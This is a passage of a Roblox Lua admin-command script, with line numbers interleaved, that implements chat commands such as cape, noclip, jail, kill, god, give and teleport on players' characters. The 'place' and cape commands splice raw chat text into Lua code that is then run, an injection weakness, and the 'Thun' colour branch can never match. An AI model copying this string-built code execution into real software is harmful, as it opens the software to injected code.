local plrz = GetPlr(plr, msg:lower():sub(6))
492
local str = "torso.BrickColor"
493
if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
494
local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
495
if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
496
if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
497
if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
498
if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
499
if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
500
if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
501
if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
502
if msg:sub(chk1+1):lower() == "Thun" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
503
if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
504
if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
505
if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
506
if BrickColor.new(teststr) ~= nil then str = teststr end
507
end
508
for i, v in pairs(plrz) do
509
coroutine.resume(coroutine.create(function()
510
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
511
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
512
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
513
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
514
local torso = plr.Character.Torso
515
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
516
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
517
p.Size = Vector3.new(.2,.2,.2)
518
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
519
local motor1 = Instance.new("Motor", p)
520
motor1.Part0 = p
521
motor1.Part1 = torso
522
motor1.MaxVelocity = .01
523
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
524
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
525
local wave = false
526
repeat wait(1/44)
527
local ang = 0.1
528
local oldmag = torso.Velocity.magnitude
529
local mv = .002
530
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
531
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
532
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
533
motor1.DesiredAngle = -ang
534
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
535
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
536
if torso.Velocity.magnitude < .1 then wait(.1) end
537
until not p or p.Parent ~= torso.Parent
538
script:Destroy()
539
]] cl.Parent = v.PlayerGui cl.Disabled = false
540
end
541
end))
542
end
543
end
544
545
if msg:lower():sub(1,7) == "uncape " then
546
local plrz = GetPlr(plr, msg:lower():sub(8))
547
for i, v in pairs(plrz) do
548
coroutine.resume(coroutine.create(function()
549
if v and v:findFirstChild("PlayerGui") and v.Character then
550
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
551
end
552
end))
553
end
554
end
555
556
if msg:lower():sub(1,7) == "noclip " then
557
local plrz = GetPlr(plr, msg:lower():sub(8))
558
for i, v in pairs(plrz) do
559
coroutine.resume(coroutine.create(function()
560
if v and v:findFirstChild("PlayerGui") then
561
local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
562
cl.Parent = v.PlayerGui cl.Disabled = false
563
end
564
end))
565
end
566
end
567
568
if msg:lower():sub(1,5) == "clip " then
569
local plrz = GetPlr(plr, msg:lower():sub(6))
570
for i, v in pairs(plrz) do
571
coroutine.resume(coroutine.create(function()
572
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
573
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
574
v.Character.Torso.Anchored = false
575
wait(.1) v.Character.Humanoid.PlatformStand = false
576
end
577
end))
578
end
579
end
580
581
if msg:lower():sub(1,5) == "jail " then
582
local plrz = GetPlr(plr, msg:lower():sub(6))
583
for i, v in pairs(plrz) do
584
coroutine.resume(coroutine.create(function()
585
if v and v.Character and v.Character:findFirstChild("Torso") then 
586
local vname = v.Name
587
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
588
local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
589
local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
590
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
591
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
592
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
593
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
594
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
595
end)
596
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
597
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
598
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
599
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
600
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
601
local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
602
local msh2 = msh:Clone() msh2.Parent = back
603
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
604
local msh4 = msh3:Clone() msh4.Parent = left
605
v.Character.Torso.CFrame = cf
606
end
607
end))
608
end
609
end
610
611
if msg:lower():sub(1,7) == "unjail " then
612
local plrz = GetPlr(plr, msg:lower():sub(8))
613
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
614
end
615
616
if msg:lower():sub(1,11) == "starttools " then
617
local plrz = GetPlr(plr, msg:lower():sub(12))
618
for i, v in pairs(plrz) do
619
coroutine.resume(coroutine.create(function()
620
if v and v:findFirstChild("Backpack") then
621
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
622
end
623
end))
624
end
625
end
626
627
if msg:lower():sub(1,6) == "sword " then
628
local plrz = GetPlr(plr, msg:lower():sub(7))
629
for i, v in pairs(plrz) do
630
coroutine.resume(coroutine.create(function()
631
if v and v:findFirstChild("Backpack") then
632
local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
633
sword.GripForward = Vector3.new(-1,0,0)
634
sword.GripPos = Vector3.new(0,0,-1.5)
635
sword.GripRight = Vector3.new(0,1,0)
636
sword.GripUp = Vector3.new(0,0,1)
637
local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
638
local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
639
local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
640
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
641
local Damage = 15
642
local SlashSound = Instance.new("Sound", script.Parent.Handle)
643
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
644
SlashSound.Volume = 1
645
local LungeSound = Instance.new("Sound", script.Parent.Handle)
646
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
647
LungeSound.Volume = 1
648
local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
649
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
650
UnsheathSound.Volume = 1
651
local last = 0
652
script.Parent.Handle.Touched:connect(function(hit)
653
if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
654
local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
655
hit.Parent.Humanoid:TakeDamage(Damage)
656
end
657
end)
658
script.Parent.Activated:connect(function()
659
if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
660
script.Parent.Enabled = false
661
local tick = game:service("RunService").Stepped:wait()
662
if tick - last <= .2 then
663
LungeSound:play()
664
local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
665
local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
666
wait(.2)
667
script.Parent.GripForward = Vector3.new(0,0,1)
668
script.Parent.GripRight = Vector3.new(0,-1,0)
669
script.Parent.GripUp = Vector3.new(-1,0,0)
670
wait(.3)
671
frc:Destroy() wait(.5)
672
script.Parent.GripForward = Vector3.new(-1,0,0)
673
script.Parent.GripRight = Vector3.new(0,1,0)
674
script.Parent.GripUp = Vector3.new(0,0,1)
675
else
676
SlashSound:play()
677
local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
678
end
679
last = tick
680
script.Parent.Enabled = true
681
end)
682
script.Parent.Equipped:connect(function(mouse)
683
for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
684
UnsheathSound:play()
685
script.Parent.Enabled = true
686
if not mouse then return end
687
mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
688
end)]] cl.Disabled = false 
689
end
690
end))
691
end
692
end
693
694
if msg:lower():sub(1,6) == "clone " then
695
local plrz = GetPlr(plr, msg:lower():sub(7))
696
for i, v in pairs(plrz) do
697
coroutine.resume(coroutine.create(function()
698
if v and v.Character then 
699
v.Character.Archivable = true 
700
local cl = v.Character:Clone() 
701
table.insert(objects,cl) 
702
cl.Parent = game.Workspace 
703
cl:MoveTo(v.Character:GetModelCFrame().p)
704
cl:MakeJoints()
705
v.Character.Archivable = false 
706
end
707
end))
708
end
709
end
710
711
if msg:lower():sub(1,5) == "kill " then
712
local plrz = GetPlr(plr, msg:lower():sub(6))
713
for i, v in pairs(plrz) do
714
coroutine.resume(coroutine.create(function()
715
if v and v.Character then v.Character:BreakJoints() end
716
end))
717
end
718
end
719
720
if msg:lower():sub(1,8) == "respawn " then
721
local plrz = GetPlr(plr, msg:lower():sub(9))
722
for i, v in pairs(plrz) do
723
coroutine.resume(coroutine.create(function()
724
if v and v.Character then v:LoadCharacter() end
725
end))
726
end
727
end
728
729
if msg:lower():sub(1,5) == "jump " then
730
local plrz = GetPlr(plr, msg:lower():sub(6))
731
for i, v in pairs(plrz) do
732
coroutine.resume(coroutine.create(function()
733
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
734
v.Character.Humanoid.Jump = true
735
end
736
end))
737
end
738
end
739
740
if msg:lower():sub(1,4) == "sit " then
741
local plrz = GetPlr(plr, msg:lower():sub(5))
742
for i, v in pairs(plrz) do
743
coroutine.resume(coroutine.create(function()
744
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
745
v.Character.Humanoid.Sit = true
746
end
747
end))
748
end
749
end
750
751
if msg:lower():sub(1,10) == "invisible " then
752
local plrz = GetPlr(plr, msg:lower():sub(11))
753
for i, v in pairs(plrz) do
754
coroutine.resume(coroutine.create(function()
755
if v and v.Character then 
756
for a, obj in pairs(v.Character:children()) do 
757
if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
758
end
759
end
760
end))
761
end
762
end
763
764
if msg:lower():sub(1,8) == "visible " then
765
local plrz = GetPlr(plr, msg:lower():sub(9))
766
for i, v in pairs(plrz) do
767
coroutine.resume(coroutine.create(function()
768
if v and v.Character then 
769
for a, obj in pairs(v.Character:children()) do 
770
if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
771
end
772
end
773
end))
774
end
775
end
776
777
if msg:lower():sub(1,5) == "lock " then
778
local plrz = GetPlr(plr, msg:lower():sub(6))
779
for i, v in pairs(plrz) do
780
coroutine.resume(coroutine.create(function()
781
if v and v.Character then 
782
for a, obj in pairs(v.Character:children()) do 
783
if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
784
end
785
end
786
end))
787
end
788
end
789
790
if msg:lower():sub(1,7) == "unlock " then
791
local plrz = GetPlr(plr, msg:lower():sub(8))
792
for i, v in pairs(plrz) do
793
coroutine.resume(coroutine.create(function()
794
if v and v.Character then 
795
for a, obj in pairs(v.Character:children()) do 
796
if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
797
end
798
end
799
end))
800
end
801
end
802
803
804
if msg:lower():sub(1,4) == "age " then
805
local plrz = GetPlr(plr, msg:lower():sub(5))
806
for i, v in pairs(plrz) do
807
coroutine.resume(coroutine.create(function()
808
if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
809
end))
810
end
811
end
812
813
if msg:lower():sub(1,3) == "ff " then
814
local plrz = GetPlr(plr, msg:lower():sub(4))
815
for i, v in pairs(plrz) do
816
coroutine.resume(coroutine.create(function()
817
if v and v.Character then Instance.new("ForceField", v.Character) end
818
end))
819
end
820
end
821
822
if msg:lower():sub(1,5) == "unff " then
823
local plrz = GetPlr(plr, msg:lower():sub(6))
824
for i, v in pairs(plrz) do
825
coroutine.resume(coroutine.create(function()
826
if v and v.Character then 
827
for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
828
end
829
end))
830
end
831
end
832
833
if msg:lower():sub(1,7) == "punish " then
834
local plrz = GetPlr(plr, msg:lower():sub(8))
835
for i, v in pairs(plrz) do
836
coroutine.resume(coroutine.create(function()
837
if v and v.Character then 
838
v.Character.Parent = game:service("Lighting")
839
end
840
end))
841
end
842
end
843
844
if msg:lower():sub(1,9) == "unpunish " then
845
local plrz = GetPlr(plr, msg:lower():sub(10))
846
for i, v in pairs(plrz) do
847
coroutine.resume(coroutine.create(function()
848
if v and v.Character then 
849
v.Character.Parent = game:service("Workspace")
850
v.Character:MakeJoints()
851
end
852
end))
853
end
854
end
855
856
if msg:lower():sub(1,7) == "freeze " then
857
local plrz = GetPlr(plr, msg:lower():sub(8))
858
for i, v in pairs(plrz) do
859
coroutine.resume(coroutine.create(function()
860
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
861
for a, obj in pairs(v.Character:children()) do 
862
if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
863
end
864
end
865
end))
866
end
867
end
868
869
if msg:lower():sub(1,5) == "thaw " then
870
local plrz = GetPlr(plr, msg:lower():sub(6))
871
for i, v in pairs(plrz) do
872
coroutine.resume(coroutine.create(function()
873
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
874
for a, obj in pairs(v.Character:children()) do 
875
if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
876
end
877
end
878
end))
879
end
880
end
881
882
if msg:lower():sub(1,5) == "heal " then
883
local plrz = GetPlr(plr, msg:lower():sub(6))
884
for i, v in pairs(plrz) do
885
coroutine.resume(coroutine.create(function()
886
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
887
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
888
end
889
end))
890
end
891
end
892
893
if msg:lower():sub(1,4) == "god " then
894
local plrz = GetPlr(plr, msg:lower():sub(5))
895
for i, v in pairs(plrz) do
896
coroutine.resume(coroutine.create(function()
897
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
898
v.Character.Humanoid.MaxHealth = math.huge
899
v.Character.Humanoid.Health = 9e9
900
end
901
end))
902
end
903
end
904
905
if msg:lower():sub(1,6) == "ungod " then
906
local plrz = GetPlr(plr, msg:lower():sub(7))
907
for i, v in pairs(plrz) do
908
coroutine.resume(coroutine.create(function()
909
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
910
v.Character.Humanoid.MaxHealth = 100
911
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
912
end
913
end))
914
end
915
end
916
917
if msg:lower():sub(1,7) == "btools " then
918
local plrz = GetPlr(plr, msg:lower():sub(8))
919
for i, v in pairs(plrz) do
920
coroutine.resume(coroutine.create(function()
921
if v and v:findFirstChild("Backpack") then 
922
local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
923
local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
924
local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
925
local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
926
local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
927
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
928
local sb
929
local hs
930
local pdist
931
932
script.Parent.Selected:connect(function(mouse)
933
if not mouse then return end
934
sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
935
hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
936
mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
937
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
938
hs.MouseButton1Down:connect(function() pdist = 0 end)
939
end)
940
941
script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
942
end
943
end))
944
end
945
end
946
947
if msg:lower():sub(1,12) == "startergive " then
948
local chk1 = msg:lower():sub(13):find(" ") + 12
949
local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
950
for i, v in pairs(plrz) do
951
coroutine.resume(coroutine.create(function()
952
if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then 
953
for a, tool in pairs(game.Lighting:children()) do
954
if tool:IsA("Tool") or tool:IsA("HopperBin") then
955
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
956
end
957
end
958
end
959
end))
960
end
961
end
962
963
if msg:lower():sub(1,5) == "give " then
964
local chk1 = msg:lower():sub(6):find(" ") + 5
965
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
966
for i, v in pairs(plrz) do
967
coroutine.resume(coroutine.create(function()
968
if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then 
969
for a, tool in pairs(game.Lighting:children()) do
970
if tool:IsA("Tool") or tool:IsA("HopperBin") then
971
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
972
end
973
end
974
end
975
end))
976
end
977
end
978
979
if msg:lower():sub(1,12) == "removetools " then
980
local plrz = GetPlr(plr, msg:lower():sub(13))
981
for i, v in pairs(plrz) do
982
coroutine.resume(coroutine.create(function()
983
if v and v.Character and v:findFirstChild("Backpack") then 
984
for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
985
for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
986
end
987
end))
988
end
989
end
990
991
if msg:lower():sub(1,5) == "rank " then
992
local chk1 = msg:lower():sub(6):find(" ") + 5
993
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
994
for i, v in pairs(plrz) do
995
coroutine.resume(coroutine.create(function()
996
if v and v:IsInGroup(msg:sub(chk1+1)) then 
997
Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
998
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
999
Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
1000
end
1001
end))
1002
end
1003
end
1004
1005
if msg:lower():sub(1,7) == "damage " then
1006
local chk1 = msg:lower():sub(8):find(" ") + 7
1007
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1008
for i, v in pairs(plrz) do
1009
coroutine.resume(coroutine.create(function()
1010
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1011
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
1012
end
1013
end))
1014
end
1015
end
1016
1017
if msg:lower():sub(1,5) == "grav " then
1018
local plrz = GetPlr(plr, msg:lower():sub(6))
1019
for i, v in pairs(plrz) do
1020
coroutine.resume(coroutine.create(function()
1021
if v and v.Character and v.Character:findFirstChild("Torso") then 
1022
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1023
end
1024
end))
1025
end
1026
end
1027
1028
if msg:lower():sub(1,8) == "setgrav " then
1029
local chk1 = msg:lower():sub(9):find(" ") + 8
1030
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
1031
for i, v in pairs(plrz) do
1032
coroutine.resume(coroutine.create(function()
1033
if v and v.Character and v.Character:findFirstChild("Torso") then 
1034
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1035
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1036
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
1037
end
1038
end))
1039
end
1040
end
1041
1042
if msg:lower():sub(1,7) == "nograv " then
1043
local plrz = GetPlr(plr, msg:lower():sub(8))
1044
for i, v in pairs(plrz) do
1045
coroutine.resume(coroutine.create(function()
1046
if v and v.Character and v.Character:findFirstChild("Torso") then 
1047
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1048
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1049
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
1050
end
1051
end))
1052
end
1053
end
1054
1055
if msg:lower():sub(1,7) == "health " then
1056
local chk1 = msg:lower():sub(8):find(" ") + 7
1057
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1058
for i, v in pairs(plrz) do
1059
coroutine.resume(coroutine.create(function()
1060
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1061
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
1062
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1063
end
1064
end))
1065
end
1066
end
1067
1068
if msg:lower():sub(1,6) == "speed " then
1069
local chk1 = msg:lower():sub(7):find(" ") + 6
1070
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1071
for i, v in pairs(plrz) do
1072
coroutine.resume(coroutine.create(function()
1073
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1074
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
1075
end
1076
end))
1077
end
1078
end
1079
1080
if msg:lower():sub(1,5) == "team " then
1081
local chk1 = msg:lower():sub(6):find(" ") + 5
1082
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1083
for i, v in pairs(plrz) do
1084
coroutine.resume(coroutine.create(function()
1085
if v and game:findFirstChild("Teams") then 
1086
for a, tm in pairs(game.Teams:children()) do
1087
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
1088
end
1089
end
1090
end))
1091
end
1092
end
1093
1094
if msg:lower():sub(1,6) == "place " then
1095
local chk1 = msg:lower():sub(7):find(" ") + 6
1096
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1097
for i, v in pairs(plrz) do
1098
coroutine.resume(coroutine.create(function()
1099
if v and v:findFirstChild("PlayerGui") then 
1100
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
1101
end
1102
end))
1103
end
1104
end
1105
1106
if msg:lower():sub(1,3) == "tp " then
1107
local chk1 = msg:lower():sub(4):find(" ") + 3
1108
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
1109
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
1110
for i, v in pairs(plrz) do
1111
coroutine.resume(coroutine.create(function()
1112
for i2, v2 in pairs(plrz2) do
1113
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
1114
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
1115
end
1116
end
1117
end))
1118
end
1119
end
1120
1121
if msg:lower():sub(1,7) == "change " then
1122
local chk1 = msg:lower():sub(8):find(" ") + 7
1123
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1124
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1125
for i, v in pairs(plrz) do
1126
coroutine.resume(coroutine.create(function()
1127
